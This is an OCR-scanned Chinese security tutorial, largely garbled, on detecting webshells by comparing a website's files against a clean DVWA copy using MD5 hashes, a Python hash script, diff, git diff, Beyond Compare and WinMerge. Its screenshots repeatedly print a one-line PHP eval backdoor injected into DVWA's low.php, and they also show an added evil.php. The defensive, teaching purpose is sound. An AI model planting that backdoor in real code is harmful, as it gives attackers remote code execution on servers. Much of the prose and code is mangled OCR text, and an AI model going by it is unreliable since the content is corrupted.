SMAER A ITRBEAIREAYE]

T, WRIRIWIERANE | IEE B M) |, (REAGER LSRN ? mX— P RPN ARE | £
ERRIIRERT , RFAUEHEIE N XM ERABHTFIEERT.

BIfER—FXIAHE99.9%HIWebshel K HHERAVENIS |ZE | PARTBEFEWebshellRISAIBR. BHb , GiEHE. WITA
. UEBESFEINRIESEOF X | thiRMEET FIMNE T RGN LI RBIHE,

RFRISTURE BRI, B SRIAEITE , ATLIRERINS SR ESNAR KRNIV E. 2,
B AIRRE | (R EESNERAEENEESD  MRERMAWLK  BEREEEH T RRASE.

RIGEEERNA |, MBI MIGIET |, TR B R AR a emEavf=l .

1, X{EMD5#EE

THDE_WebERTERRIR , FAJTLIESE TERNEREEE , RTHE—TexedFTXMH , BE—1X4md5
B XPMBREHEFEERMRMEE , BImJSEETE HiZexe A RHAEE",

TEMELE : http://www.d99net.net/down/webShellKil1_v2.0.9.zip
A4MDS : 29285decadbce3918a4f8429ec33df46  websShellkill.exe

LR TERERT , aTLAERERRIGEEITE FEElexe S HRUFHE | HERHFRE RBIMFHEENR.
R MHEERR | WA THEIRexe AR IERI. WMRMMFALERR , WA TEEexe EEHEST
Y.

BREIEATS |, F(ITLUSEIE ML 4t E—Rhashafrfy , ZHINSERES , EfitE—Rhash(g , 5L
RTFRIhash{EIHATXILL , MTDsIFReIEERT. IES0TRMIBRAISIGFIZR.

XffhashfBit& :

def mdS5sum(file):

m=hash1lib.md5Q0)

if os.path.isfile(file):
f=open(file,'rb")
for 1ine 1in f:

m.update(Tine)

f.close

else:
m.update(file)

return (m.hexdigest())

MR TIEREETE | BRI , MR



C:srhash_demo.py

Pleaze enter vour weh physzical path, for example, c:wwwuwl. c:~DUUA-master
[?]1 Check the integrity of the file: [Yles or [N10 (Y~ H>: ¥

Pleaﬂe entepr the hash file path to bhe compared: dvwa.json

c = duwa— maater\uulnerahlllt1ed\uq11\duurce\luu php

WMEE , EEERFRIE T — Mevil.phpXXE | TE—MEEXNRI G 2low.php, FERAENAIRIEEENotePad++if
TXIEE |, LA B low.phpSFEIFHEN T —HaliEwebshell,

[ *new 2 - Notepad++ - m] X
MR #RE) ZRE) BV RKHEN) ES0 #E0M I8RO =M OER BEEP B0W 2 X

== R =WENIFY= o2 hig|® & |EE =1 E JB&]A, [ 2] E oA v om M
[ new 1_!] 4 H ner 23

1 <?php ~ 1 Jepnp /

3 s @esyal(s POSTI'g'1):

; “). . . 4 if{ jgger( $_REQUEST[ 'Submit' 1 ) ) {

- if( izsgt( 5 REQUEST[ 'Submit' ] ) ) { - // Get input

5 // Get input 8 $id = § REQUEST[ 'id' 1;

& - & T .
5id $_REQUEST[ 'id"' 1; // Check database

2 Squery = "SELECT first_name, last_name FROM users WHERE user_id =
// Check database 10 Sresult = mysgli guery (SGLOBALS[™ mysgli ston™], Sqguery ) or di
$query = "SELECT first name, last_name FROM
10 $result = mysgli_guery (SGLOBALS["__ mysqgli s // Get results
- — — 13 while( Srow = mysqli_fetch_assoc( Sresult ) ) {
-+ 14 /f Get values
12 // Get results 15 $first = $row["first_name"];
13 while( $row = mysgli_ fetch_assoc( $result ) 1€ $last = Srow["last_name="];
14 // Get walues . // Feedback £ Q.
15 5first = Srow["first name"]; - A Es Sfirarc)c .
i 19 Sheml .= "<pre>ID: {$idi<hy />First name: {$firstl<hg />Surnan
c - - = " " .
16 Slast = Srow["last name"];
: : // Feedback for end user mysgli_close (SGLOBALS["_rr.ysqli_st,un”]J H
18 shtml .= "<pre>ID: [$id}<hr />First name >
20 } 25 >
22 mysgli close ($GLOBRLS[" mysgli ston"]); v
< > W € >
Normal text file length: 785  lines: 26 Ln:1 Col:2 Sel:0|D Windows (CR LF) UTF-8 INS

2, diffes$

fElinuxeh , IR BERAIRICIRIN A HRNER. B BAITLIET TS RIERHAN I E X HE

7"‘0

diff -c -a -r cmsl cms2

WTFEFR , BI=TIHETRIMENENXEERES |, TR Hlow.php X ENIT , EXHAEE
@eval($_pPosT['g'1D);.



rooti@kali:~# diff -c -a -r cmsl cms2

diff -c -a -r cmsl/low.php cms2/low.php

**+ cmsl/low.php 2020-04-06 11:26:26.323019514 -0400
--- cms2/low.php 2020-04-06 11:26:58.123994040 -0400

o G
k= 115 o o o o
<7php
|
if( isset( $ REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $ REQUEST[ 'id' ];
--—- 1,5 ----
=?php
| [@eval($_POST['g']);
if( isset( $ REQUEST[ 'Submit' ] ) ) {
// Get input
$id = § REQUEST[ 'id' 1;

BT MRRARBEER N NHREFRNAERRESZLAANE |, JLUNE - qifIR,

3. lRFEFITH

RAERI TR |, tbaiigit , B EEBRIgit , add+commit+push , AFFIFIE |, mscommits , TEFHSEIRITHR
AEH , BEENHENARS  REZMAILAIIBHEENES T .

For , aLiEdgit diff FAsRHICESU Z IBRIARE.

UPdate Browse files
¥ master
Bypass007 committed 2554l 1 parent a6lbbe9  commit £68427634=bb1414199ca546afFERA7AR82Fda2]
Showing 1 changed file with 1 addition and 1 deletion. Unified | Split ‘
v 2 Em test/low.php [Ed
. @@ -1,6 +1,6 @

<2php <3php /

+ Beval($_POST['g"1);

iF( isset{ $_REQUEST[ 'Submit' ] ) ) { if( isset( 5_REQUEST[ 'Submit' ] ) ) {
// Get input /7 Get input
$id = $_REQUEST[ 'id’ J; $id = §_REQUEST[ 'id’ J;

R

4, XHXLETR

XiEE - KB TR  REKEESIFRANTIER  XBER(INEFHAERIEABIE | Beyond Comparefl]
WinMerge,

Beyond Compare

Beyond Compare@—EHScooter SoftwarelE RIS 4LLIR TR, FEBGREN RN RS E U , FEER
Lignetnn , WREEEEER | XENES.



TEEE ¢ http://www.scootersoftware.com/download.php
BAGERRRG |, B SUAESREE | IS RFIERAS.
1. W#HEBeyond Compare , FTFFE4ER |, SEESUELELE,

Q =T - Beyond Compare - O s
£5(S) WEAN TR #EH)
=15
s o
>
&5
iR MiEEEH
=] =
MiEERE AR
5
mr | e :

2, FENUDEMANXMAEREER  mERER  FIHERTBONRE KOO NIEXY | IeHs NES.

Q) DVWA-master <--> CMS - ST{43EEESR(F) - Beyond Compare - d ey
=iE(S) #feA) RE|E B=R N8NV TETM =E(H)
@ @ | ¥ =& | = J Rl R e R OE ¥ 8O 9|
I £5E =5 =5 18E | e WE | #m =3 BF w8 ®=E & RBEF | @& =0
I e T B
DAcode\DVWA-master\vulnerabilities\sqli\source v‘ = [ F¥ |DAcode\CMS\wulnerabilities\sgli\source v| = ® - -
= xhz) B EHN) Az BEEm L
E5 hackable 1 5 2020/4/11 17:15:23 E5 hackable 18,979 2020/4/11 17:15:48
"B uploads 23 B uploads 671 2020/4/ 7:16:47
m evil.php 4 2020/4/11 17:17:23
5 vulnerabilities 24 E5 vulnerabilities 9 2020/4/11 17:15:49
B sqli 24 B sali fioes
- [B source 3,471 7:15:24 [ source 3,490 202044411 17:15:49
i..m low.php A9 | # im low.php 7R3 2020/4/11 17:16:26 |

.3 2020411 17:11:12 0EEERE::  Ch\Users\Bypass\Downloads\DVWA-master\DVWA-master =-= C\Users\Bypass\Downloads\DVWA-ma: ~
— |2020/4/11 17:15:43 FEEIEE CAUsers\Bypass\Downloads\DVWA-master: 358508,
= 2020/4/11 17:15:44 0EEEEE: D\code\DVWA-master =-=

2020/4/11 17:16:53 NEEEEEE:: DA\code\DVWA-master =-= D\code\CMS

L

21.5 GB IR, £ DA\ . BEET 143044 783 2 21.5 GB FIF, TE DA _

3. WEEWRXMH  HARBXIL  HERBERSS.


http://www.scootersoftware.com/download.php

o low.php - 3Z&EHE(T) - Beyond Compare — O X
£&(S) XHF REE ZFRR WAV LIEM =EH
[ﬁ DVWA-master <--= CMS = low.php
Eﬂl ?HFJ‘J:‘FK&E‘WH |Eﬂ.‘?—zat—&ﬁ‘mﬁ
= |D:\,_\uu|nerab||rhes\5q|i\5ource\|m.php E |D:\code\CMS\vu|nerab|||t|es\5q|i\source\|ow.php v | B
' 2020/1/13 16:04:19 764 =15 HE—4 = ANSI » PC 2020/4/11 17:16:26 783 1 He—4 » ANSI - PC
<?php |~ <?php A
=2 @ @eval($_POST['g']);
if( isset( $_REQUEST[ 'Submit' ] ) ) { if( isset( $_REQUEST[ 'Submit’ ] )} ) {
// Get input // Get input
$id = $ REQUEST[ 'id' ]; $id = $_REQUEST[ "id" ];
// Check database // Check database
$query = "SELECT first_name, last name FFR $query = "SELECT first_name, last name FF
$result = mysqli query($GLOBALS["_ mysgli $result = mysqli query(FGLOBALS[" _rrlysql
[/ Get results // Get results o
while( frow = mysqli fetch_assoc( fresult v while( $row = mysqli fetch_assoc( $result _
Pd meat aenTiins LR ~PoF T S R
1:1 ok < > 1: 1 o < >
=< 2php*
=< ?phpt
< >
# 11 E5HT 1EE A InEEEtE: 0.05 ¥
WinMerge

WinMerge@—FRiz{T T Windows R4t FRSXHLERIEH TR |, EREALEAFETS MBS | ST
BRI M ETRER.

TEEE ¢ https://winmerge.org/downloads/

10 XH-FT7F | SR E sk | ARERE TR,

8E WinMerge - [BEESTiai =) - [m] *
B i) REE @AW IS EHE) BO0W) EEH) - 8 %
DEHba|d|2F|LF XF|+¢hdl-DdiHle

SE| i s

WinlVierge

S arigEiszisE (1)
| . DM\code\DVWA-master,

m==) 8 B4 | =24
SRR @
| | D\code\CMSY,
O R&0) 28 W24 | Z30
S EREE @ ()
[
mf==" 8 E14 | E30
Srfes S T R
- | FEE(S).. <&

MasFazn
FEELEM.. |¥

FEIE-NEL =S E = T e,

£13WE #2329

2, HE—FEE  BIAEMXART , BrXERRTER.


https://winmerge.org/downloads/

28| WinMerge - [DVWA-master) - CM5\]

o iR REE WEN SFHM IR =P SOMW)  #EEIH)
nEERE] | B2 % B X & ¢
égiﬁ%ﬁﬁmﬁ% {60 DVWA-master), - CMS\
D\ code\DVWA-master',
HERR = s
) cms =21EE
& config ==ER
g docs =2EE
g dvwa =2EE
[g0 external =2EE
v (g hackable prit = |
e flags hackable ==ERE
el MiFEAE
& dvwa_email.. hackable\uploads —ERliEsEE
o] evil.php hackable\uploads RESM: DA code\CMSYhac...
Eusers hackable =2EE
o vulnerabilities AR
& .gitignore METHE2ER
7 .htaccess AR RER
Z about.php AR RER
F CHANGELOG.md AR 2ER
| COPYING. bt AR EER
FHETY 1 4B

|- | a|w| @

D\code\CMSY,

==k

2020/4/11 17:12:29
2020/4/11 17:15:18
2020/4/11 17:15:18
2020/4/11 17:15:18
2020/411 17:15:23
2020/4/11 17:15:23
2020/4/11 17:15:23
2020/4/11 17:15%:23
2020/1/13 16:04:19

2020/4/11 17:15:23
2020/4/11 17:15:24
2020/1/13 16:04:19
2020/1/13 16:04:19
2020/1/13 16:04:19
2020/1/13 16:04:19

2020/1/13 16:04:19
=FAE

AMER
*2020/4/11 17:15:42
*2020/4/11 17:15:43
*2020/4/11 17:15:43
*2020/4/11 17:15:43
*2020/4/11 17:15:48
* 2020/4/11 17:15:48
* 2020/4/11 17:15:48
* 2020/4/11 17:16:47
2020/1/13 16:0419
* 2020/4/11 17:17:23
*2020/4/11 17:15:48
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png
php

gitignore
htaccess
php

md
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- 8 x

MNERBRSEFMEBAITARRS L |, RDSLAAAITEHRAILNRS _EERE— T, FEIRESEE.




